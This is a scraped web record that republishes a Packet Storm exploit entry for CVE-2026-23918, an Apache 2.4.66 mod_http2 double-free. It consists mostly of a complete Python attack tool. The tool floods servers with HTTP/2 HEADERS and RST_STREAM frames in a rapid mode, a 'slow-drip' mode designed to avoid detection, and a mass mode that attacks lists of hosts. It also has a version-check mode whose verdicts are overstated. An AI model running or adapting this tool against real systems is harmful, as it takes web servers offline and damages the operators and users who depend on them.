{“lastseen”:”2026-06-16T15:59:46″,”description”:”This script is a multi-mode security tool that triggers a denial of service against Apache HTTP Server version 2.4.66 related to a double-free condition in HTTP\/2 handling…”,”published”:”2026-06-16T00:00:00″,”modified”:”2026-06-16T00:00:00″,”type”:”packetstorm”,”title”:”\ud83d\udcc4 Apache 2.4.66 HTTP\/2 mod_http2 Double-Free Denial of Service”,”source”:””,”references”:””,”id”:”PACKETSTORM:223514″,”bulletinFamily”:”exploit”,”cwe”:null,”cvelist”:[“CVE-2026-23918″],”sourceData”:”==================================================================================================================================\\n | # Title : Apache 2.4.66 HTTP\/2 mod_http2 Double-Free DoS Vulnerability Tool |\\n | # Author : indoushka |\\n | # Tested on : windows 11 Fr(Pro) \/ browser : Mozilla firefox 151.0.3 (64 bits) |\\n | # Vendor : https:\/\/archive.apache.org\/dist\/httpd\/httpd-2.4.66.tar.gz |\\n ==================================================================================================================================\\n \\n [+] Summary : This script is a multi-mode security tool targeting a hypothetical vulnerability in Apache HTTP Server (mod_http2) related to a double-free condition in HTTP\/2 handling (CVE-2026-23918).\\n \\n [+] POC : \\n \\n #!\/usr\/bin\/env python3\\n \\n import argparse\\n import json\\n import os\\n import socket\\n import ssl\\n import sys\\n import threading\\n import time\\n from dataclasses import dataclass, field\\n from datetime import datetime\\n from typing import Dict, List, Optional, Tuple\\n \\n try:\\n import h2.config\\n import h2.connection\\n import h2.events\\n HAS_H2 = True\\n except ImportError:\\n HAS_H2 = False\\n print(\\”[!] h2 library required. Install: pip3 install h2\\”)\\n class Color:\\n RED = \\”\\\\033[91m\\”\\n GREEN = \\”\\\\033[92m\\”\\n YELLOW = \\”\\\\033[93m\\”\\n BLUE = \\”\\\\033[94m\\”\\n CYAN = \\”\\\\033[96m\\”\\n BOLD = \\”\\\\033[1m\\”\\n RESET = \\”\\\\033[0m\\”\\n def c(text: str, color: str) -\\u003e str:\\n return f\\”{color}{text}{Color.RESET}\\” if sys.stdout.isatty() else text\\n @dataclass\\n class ExploitStats:\\n connections: int = 0\\n requests: int = 0\\n resets: int = 0\\n conn_errors: int = 0\\n stream_errors: int = 0\\n crashes: int = 0\\n lock: threading.Lock = field(default_factory=threading.Lock)\\n def inc(self, attr: str, delta: int = 1) -\\u003e None:\\n with self.lock:\\n setattr(self, attr, getattr(self, attr) + delta)\\n def create_ssl_context() -\\u003e ssl.SSLContext:\\n ctx = ssl.create_default_context()\\n ctx.check_hostname = False\\n ctx.verify_mode = ssl.CERT_NONE\\n ctx.set_alpn_protocols([\\”h2\\”])\\n return ctx\\n def establish_h2_connection(host: str, port: int, timeout: float = 5.0, use_ssl: bool = True) -\\u003e Tuple[Optional[socket.socket], Optional[h2.connection.H2Connection]]:\\n try:\\n sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\\n sock.settimeout(timeout)\\n sock.connect((host, port))\\n if use_ssl:\\n ctx = create_ssl_context()\\n sock = ctx.wrap_socket(sock, server_hostname=host)\\n config = h2.config.H2Configuration(client_side=True)\\n conn = h2.connection.H2Connection(config=config)\\n conn.initiate_connection()\\n sock.sendall(conn.data_to_send())\\n data = sock.recv(8192)\\n if not data:\\n sock.close()\\n return None, None\\n conn.receive_data(data)\\n sock.sendall(conn.data_to_send())\\n return sock, conn\\n except Exception:\\n try:\\n sock.close()\\n except:\\n pass\\n return None, None\\n class RapidRSTDoS:\\n \\”\\”\\”Quick attack – Send HEADERS + RST_STREAM simultaneously\\”\\”\\”\\n \\n def __init__(self, target: str, port: int, workers: int = 100, intensity: int = 7,\\n use_ssl: bool = True, timeout: float = 5.0, json_output: bool = False):\\n self.target = target\\n self.port = port\\n self.num_workers = workers\\n self.intensity = max(1, min(10, intensity))\\n self.use_ssl = use_ssl\\n self.timeout = timeout\\n self.json_output = json_output\\n self.running = True\\n self.crashed = False\\n self.stats = ExploitStats()\\n self.start_time = None\\n def is_server_alive(self) -\\u003e bool:\\n sock, conn = establish_h2_connection(self.target, self.port, timeout=3.0, use_ssl=self.use_ssl)\\n if sock is None:\\n return False\\n sock.close()\\n return True\\n def worker(self, worker_id: int) -\\u003e None:\\n streams_per_conn = 50\\n reset_interval = max(1, 11 – self.intensity)\\n while self.running:\\n sock, conn = establish_h2_connection(self.target, self.port, timeout=self.timeout, use_ssl=self.use_ssl)\\n if sock is None:\\n self.stats.inc(\\”conn_errors\\”)\\n time.sleep(0.1)\\n continue\\n self.stats.inc(\\”connections\\”)\\n sent = 0\\n try:\\n while sent \\u003c streams_per_conn and self.running:\\n try:\\n stream_id = conn.get_next_available_stream_id()\\n conn.send_headers(stream_id, [\\n (b\\”:method\\”, b\\”GET\\”),\\n (b\\”:scheme\\”, b\\”https\\” if self.use_ssl else b\\”http\\”),\\n (b\\”:authority\\”, self.target.encode()),\\n (b\\”:path\\”, b\\”\/\\”),\\n ])\\n sock.sendall(conn.data_to_send())\\n self.stats.inc(\\”requests\\”)\\n if sent % reset_interval == 0:\\n conn.reset_stream(stream_id, error_code=1)\\n sock.sendall(conn.data_to_send())\\n self.stats.inc(\\”resets\\”)\\n sent += 1\\n time.sleep(0.001 * (11 – self.intensity))\\n except Exception:\\n self.stats.inc(\\”stream_errors\\”)\\n break\\n conn.close_connection()\\n sock.sendall(conn.data_to_send())\\n except Exception:\\n pass\\n finally:\\n try:\\n sock.close()\\n except:\\n pass\\n def monitor(self) -\\u003e None:\\n checks_since_alive = 0\\n last_report = 0\\n while self.running:\\n time.sleep(0.5)\\n alive = self.is_server_alive()\\n if alive:\\n checks_since_alive = 0\\n elapsed = int(time.time() – self.start_time)\\n if elapsed – last_report \\u003e= 10:\\n last_report = elapsed\\n snap = {\\n \\”connections\\”: self.stats.connections,\\n \\”requests\\”: self.stats.requests,\\n \\”resets\\”: self.stats.resets,\\n }\\n if self.json_output:\\n print(json.dumps({\\”elapsed_s\\”: elapsed, \\”status\\”: \\”alive\\”, **snap}))\\n else:\\n print(f\\” [{elapsed}s] conns={snap[‘connections’]} reqs={snap[‘requests’]} resets={snap[‘resets’]} {c(‘OK’, Color.GREEN)}\\”)\\n else:\\n checks_since_alive += 1\\n if checks_since_alive \\u003e= 2 and not self.crashed:\\n self.crashed = True\\n self.stats.inc(\\”crashes\\”)\\n elapsed = int(time.time() – self.start_time)\\n if self.json_output:\\n print(json.dumps({\\”elapsed_s\\”: elapsed, \\”status\\”: \\”CRASHED\\”}))\\n else:\\n print(f\\”\\\\n{c(‘!!! SERVER CRASHED !!!’, Color.RED + Color.BOLD)} at t={elapsed}s\\”)\\n self.running = False\\n return\\n def run(self) -\\u003e None:\\n if not HAS_H2:\\n print(c(\\”[!] h2 library required: pip3 install h2\\”, Color.RED))\\n return\\n if not self.json_output:\\n print_banner(\\”CVE-2026-23918 – Apache Double-Free DoS\\”)\\n print(f\\”Target: {self.target}:{self.port}\\”)\\n print(f\\”Workers: {self.num_workers} | Intensity: {self.intensity}\\”)\\n print(f\\”SSL: {‘On’ if self.use_ssl else ‘Off’}\\”)\\n if not self.is_server_alive():\\n print(c(f\\”[!] Cannot reach {self.target}:{self.port}\\”, Color.RED))\\n return\\n print(c(\\”[+] Server reachable. Sending payloads…\\\\n\\”, Color.GREEN))\\n self.start_time = time.time()\\n workers = []\\n for i in range(self.num_workers):\\n t = threading.Thread(target=self.worker, args=(i,), daemon=True)\\n t.start()\\n workers.append(t)\\n self.monitor()\\n for t in workers:\\n t.join(timeout=2)\\n if self.crashed:\\n print(c(\\”\\\\n[!] CRASH DETECTED – Double-free confirmed!\\”, Color.RED + Color.BOLD))\\n else:\\n print(c(\\”\\\\n[-] Server still alive. Target may be patched.\\”, Color.YELLOW))\\n class SlowDripDoS:\\n \\”\\”\\”Slow attack – avoids detection\\”\\”\\”\\n def __init__(self, target: str, port: int, workers: int = 5, intensity: int = 3,\\n duration_minutes: int = 30, use_ssl: bool = True, json_output: bool = False):\\n self.target = target\\n self.port = port\\n self.num_workers = max(1, workers)\\n self.intensity = max(1, min(5, intensity))\\n self.duration_seconds = duration_minutes * 60\\n self.use_ssl = use_ssl\\n self.json_output = json_output\\n self.running = True\\n self.stats = ExploitStats()\\n self.start_time = None\\n def worker(self, worker_id: int) -\\u003e None:\\n while self.running and (time.time() – self.start_time \\u003c self.duration_seconds):\\n sock, conn = establish_h2_connection(self.target, self.port, use_ssl=self.use_ssl)\\n if sock is None:\\n self.stats.inc(\\”conn_errors\\”)\\n time.sleep(0.5)\\n continue\\n self.stats.inc(\\”connections\\”)\\n try:\\n stream_id = conn.get_next_available_stream_id()\\n conn.send_headers(stream_id, [\\n (b\\”:method\\”, b\\”GET\\”),\\n (b\\”:scheme\\”, b\\”https\\” if self.use_ssl else b\\”http\\”),\\n (b\\”:authority\\”, self.target.encode()),\\n (b\\”:path\\”, b\\”\/\\”),\\n ])\\n sock.sendall(conn.data_to_send())\\n self.stats.inc(\\”requests\\”)\\n time.sleep(0.01)\\n conn.reset_stream(stream_id, error_code=1)\\n sock.sendall(conn.data_to_send())\\n self.stats.inc(\\”resets\\”)\\n conn.close_connection()\\n sock.sendall(conn.data_to_send())\\n except Exception:\\n self.stats.inc(\\”stream_errors\\”)\\n finally:\\n try:\\n sock.close()\\n except:\\n pass\\n delay = max(1.0, (6 – self.intensity) * 2.0)\\n time.sleep(delay)\\n def run(self) -\\u003e None:\\n if not HAS_H2:\\n print(c(\\”[!] h2 library required\\”, Color.RED))\\n return\\n if not self.json_output:\\n print_banner(\\”CVE-2026-23918 – Slow-Drip Stealth DoS\\”)\\n print(f\\”Target: {self.target}:{self.port}\\”)\\n print(f\\”Duration: {self.duration_seconds \/\/ 60} min | Workers: {self.num_workers}\\”)\\n self.start_time = time.time()\\n workers = []\\n for i in range(self.num_workers):\\n t = threading.Thread(target=self.worker, args=(i,), daemon=True)\\n t.start()\\n workers.append(t)\\n try:\\n while self.running and (time.time() – self.start_time \\u003c self.duration_seconds):\\n time.sleep(10)\\n elapsed = int(time.time() – self.start_time)\\n if not self.json_output:\\n print(f\\” [{elapsed}s] connections={self.stats.connections} resets={self.stats.resets}\\”)\\n except KeyboardInterrupt:\\n pass\\n self.running = False\\n for t in workers:\\n t.join(timeout=2)\\n class MassAttack:\\n \\”\\”\\”Attack on multiple targets\\”\\”\\”\\n def __init__(self, targets_file: str, workers_per_target: int = 50,\\n intensity: int = 7, duration_minutes: int = 30,\\n use_ssl: bool = True, json_output: bool = False):\\n self.targets = self._load_targets(targets_file)\\n self.workers_per_target = workers_per_target\\n self.intensity = max(1, min(10, intensity))\\n self.duration_seconds = duration_minutes * 60\\n self.use_ssl = use_ssl\\n self.json_output = json_output\\n self.running = True\\n self.start_time = None\\n self.target_results = {}\\n @staticmethod\\n def _load_targets(path: str) -\\u003e List[Tuple[str, int]]:\\n targets = []\\n with open(path) as f:\\n for line in f:\\n line = line.strip()\\n if not line or line.startswith(\\”#\\”):\\n continue\\n if \\”:\\” in line:\\n host, port = line.rsplit(\\”:\\”, 1)\\n targets.append((host.strip(), int(port.strip())))\\n else:\\n targets.append((line.strip(), 443))\\n return targets\\n def worker(self, host: str, port: int) -\\u003e None:\\n reset_interval = max(1, 11 – self.intensity)\\n sent = 0\\n while self.running and (time.time() – self.start_time \\u003c self.duration_seconds):\\n sock, conn = establish_h2_connection(host, port, use_ssl=self.use_ssl)\\n if sock is None:\\n time.sleep(0.5)\\n continue\\n try:\\n while self.running and (time.time() – self.start_time \\u003c self.duration_seconds):\\n try:\\n sid = conn.get_next_available_stream_id()\\n conn.send_headers(sid, [\\n (b\\”:method\\”, b\\”GET\\”),\\n (b\\”:scheme\\”, b\\”https\\” if self.use_ssl else b\\”http\\”),\\n (b\\”:authority\\”, host.encode()),\\n (b\\”:path\\”, b\\”\/\\”),\\n ])\\n sock.sendall(conn.data_to_send())\\n sent += 1\\n if sent % reset_interval == 0:\\n conn.reset_stream(sid, error_code=1)\\n sock.sendall(conn.data_to_send())\\n except Exception:\\n break\\n conn.close_connection()\\n sock.sendall(conn.data_to_send())\\n except Exception:\\n pass\\n finally:\\n try:\\n sock.close()\\n except:\\n pass\\n def run(self) -\\u003e None:\\n if not HAS_H2:\\n print(c(\\”[!] h2 library required\\”, Color.RED))\\n return\\n if not self.json_output:\\n print_banner(\\”CVE-2026-23918 – Mass DoS Attack\\”)\\n print(f\\”Targets: {len(self.targets)} | Duration: {self.duration_seconds \/\/ 60} min\\”)\\n self.start_time = time.time()\\n all_workers = []\\n for host, port in self.targets:\\n for _ in range(self.workers_per_target):\\n t = threading.Thread(target=self.worker, args=(host, port), daemon=True)\\n t.start()\\n all_workers.append(t)\\n try:\\n while self.running and (time.time() – self.start_time \\u003c self.duration_seconds):\\n time.sleep(15)\\n elapsed = int(time.time() – self.start_time)\\n if not self.json_output:\\n print(f\\” [{elapsed}s] Attacking {len(self.targets)} targets…\\”)\\n except KeyboardInterrupt:\\n pass\\n self.running = False\\n def detect_vulnerability(target: str, port: int, timeout: float = 5.0, json_output: bool = False) -\\u003e Dict:\\n \\”\\”\\”Detecting the vulnerability without exploiting it\\”\\”\\”\\n result = {\\n \\”target\\”: f\\”{target}:{port}\\”,\\n \\”timestamp\\”: datetime.now().isoformat(),\\n \\”reachable\\”: False,\\n \\”http2_supported\\”: False,\\n \\”server_header\\”: None,\\n \\”apache_version\\”: None,\\n \\”vulnerable\\”: False,\\n }\\n sock, conn = establish_h2_connection(target, port, timeout=timeout, use_ssl=True)\\n if sock is None:\\n result[\\”notes\\”] = \\”Target not reachable or HTTP\/2 not supported\\”\\n if json_output:\\n print(json.dumps(result))\\n else:\\n print(c(f\\”[-] {target}:{port} – Not reachable\\”, Color.RED))\\n return result\\n result[\\”reachable\\”] = True\\n result[\\”http2_supported\\”] = True\\n try:\\n stream_id = conn.get_next_available_stream_id()\\n conn.send_headers(stream_id, [\\n (b\\”:method\\”, b\\”GET\\”),\\n (b\\”:scheme\\”, b\\”https\\”),\\n (b\\”:authority\\”, target.encode()),\\n (b\\”:path\\”, b\\”\/\\”),\\n ])\\n conn.end_stream(stream_id)\\n sock.sendall(conn.data_to_send())\\n data = sock.recv(8192)\\n if data:\\n events = conn.receive_data(data)\\n for event in events:\\n if isinstance(event, h2.events.ResponseReceived):\\n for name, value in event.headers:\\n if name.decode().lower() == \\”server\\”:\\n result[\\”server_header\\”] = value.decode()\\n if \\”apache\\” in result[\\”server_header\\”].lower():\\n parts = result[\\”server_header\\”].split(\\”\/\\”)\\n if len(parts) \\u003e 1:\\n result[\\”apache_version\\”] = parts[-1].split()[0]\\n except Exception as e:\\n result[\\”notes\\”] = str(e)\\n sock.close()\\n if result[\\”apache_version\\”] == \\”2.4.66\\”:\\n result[\\”vulnerable\\”] = True\\n result[\\”notes\\”] = \\”Apache 2.4.66 detected – VULNERABLE!\\”\\n if json_output:\\n print(json.dumps(result))\\n else:\\n print(f\\”Target: {result[‘target’]}\\”)\\n print(f\\”HTTP\/2: {‘Yes’ if result[‘http2_supported’] else ‘No’}\\”)\\n print(f\\”Server: {result[‘server_header’] or ‘Unknown’}\\”)\\n print(f\\”Apache: {result[‘apache_version’] or ‘Unknown’}\\”)\\n if result[‘vulnerable’]:\\n print(c(\\”Status: VULNERABLE to CVE-2026-23918\\”, Color.RED + Color.BOLD))\\n else:\\n print(c(\\”Status: Not vulnerable or unknown\\”, Color.GREEN))\\n return result\\n def print_banner(title: str):\\n print(f\\”\\\\n{‘=’ * 60}\\”)\\n print(c(title, Color.BOLD + Color.RED))\\n print(f\\”CVE-2026-23918 – Apache mod_http2 Double-Free DoS\\”)\\n print(f\\”{‘=’ * 60}\\\\n\\”)\\n \\n def main():\\n parser = argparse.ArgumentParser(description=\\”CVE-2026-23918 Apache HTTP\/2 Double-Free Exploit\\”)\\n parser.add_argument(\\”–target\\”, \\”-t\\”, help=\\”Target IP or hostname\\”)\\n parser.add_argument(\\”–port\\”, \\”-p\\”, type=int, default=443, help=\\”Target port (default: 443)\\”)\\n parser.add_argument(\\”–mode\\”, \\”-m\\”, choices=[\\”dos\\”, \\”slow-drip\\”, \\”mass\\”, \\”detect\\”], default=\\”dos\\”)\\n parser.add_argument(\\”–targets\\”, \\”-T\\”, help=\\”File with target list for mass mode\\”)\\n parser.add_argument(\\”–workers\\”, \\”-w\\”, type=int, default=100, help=\\”Worker threads (default: 100)\\”)\\n parser.add_argument(\\”–intensity\\”, \\”-i\\”, type=int, default=7, help=\\”Intensity 1-10 (default: 7)\\”)\\n parser.add_argument(\\”–duration\\”, \\”-d\\”, type=int, default=30, help=\\”Duration in minutes (default: 30)\\”)\\n parser.add_argument(\\”–no-ssl\\”, action=\\”store_true\\”, help=\\”Disable SSL (HTTP\/2 clear text)\\”)\\n parser.add_argument(\\”–json\\”, action=\\”store_true\\”, help=\\”JSON output\\”)\\n args = parser.parse_args()\\n if args.mode in (\\”dos\\”, \\”slow-drip\\”, \\”detect\\”) and not args.target:\\n parser.error(f\\”–target required for mode ‘{args.mode}’\\”)\\n if args.mode == \\”mass\\” and not args.targets:\\n parser.error(\\”–targets file required for mass mode\\”)\\n use_ssl = not args.no_ssl\\n if args.mode == \\”dos\\”:\\n exploit = RapidRSTDoS(\\n target=args.target, port=args.port, workers=args.workers,\\n intensity=args.intensity, use_ssl=use_ssl, json_output=args.json\\n )\\n exploit.run()\\n elif args.mode == \\”slow-drip\\”:\\n exploit = SlowDripDoS(\\n target=args.target, port=args.port, workers=args.workers,\\n intensity=args.intensity, duration_minutes=args.duration,\\n use_ssl=use_ssl, json_output=args.json\\n )\\n exploit.run()\\n elif args.mode == \\”mass\\”:\\n exploit = MassAttack(\\n targets_file=args.targets, workers_per_target=args.workers,\\n intensity=args.intensity, duration_minutes=args.duration,\\n use_ssl=use_ssl, json_output=args.json\\n )\\n exploit.run()\\n elif args.mode == \\”detect\\”:\\n detect_vulnerability(args.target, args.port, json_output=args.json)\\n if __name__ == \\”__main__\\”:\\n try:\\n main()\\n except KeyboardInterrupt:\\n print(c(\\”\\\\n[!] Interrupted\\”, Color.YELLOW))\\n sys.exit(0)\\n \\t\\n Greetings to :==============================================================================\\n jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|\\n ============================================================================================”,”sourceHref”:”https:\/\/packetstorm.news\/download\/223514″,”cvss”:{“score”:8.8,”severity”:”HIGH”,”vector”:”CVSS:3.1\/AV:N\/AC:L\/PR:L\/UI:N\/S:U\/C:H\/I:H\/A:H”,”version”:”3.1″},”cvss2″:{},”cvss3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””,”cvssV3″:{“version”:””,”vectorString”:””,”baseScore”:0,”baseSeverity”:””,”attackVector”:””,”attackComplexity”:””,”privilegesRequired”:””,”userInteraction”:””,”scope”:””,”confidentialityImpact”:””,”integrityImpact”:””,”availabilityImpact”:””}},”href”:”https:\/\/packetstorm.news\/files\/id\/223514\/”,”category_name”:”Exploit”,”post_link”:””,”product”:””,”version”:””,”vendor”:””,”ai_description”:””,”ai_severity”:””,”ai_vendor”:””,”ai_product”:””,”ai_version”:””,”ai_score”:0}<\/p>\n","protected":false},"excerpt":{"rendered":"
{“lastseen”:”2026-06-16T15:59:46″,”description”:”This script is a multi-mode security tool that triggers a denial of service against Apache HTTP Server version 2.4.66 related to a double-free condition in…<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,41,12,15,13,53,7,11,5],"class_list":["post-63183","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-cvss-88","tag-exploit","tag-high","tag-news","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"\n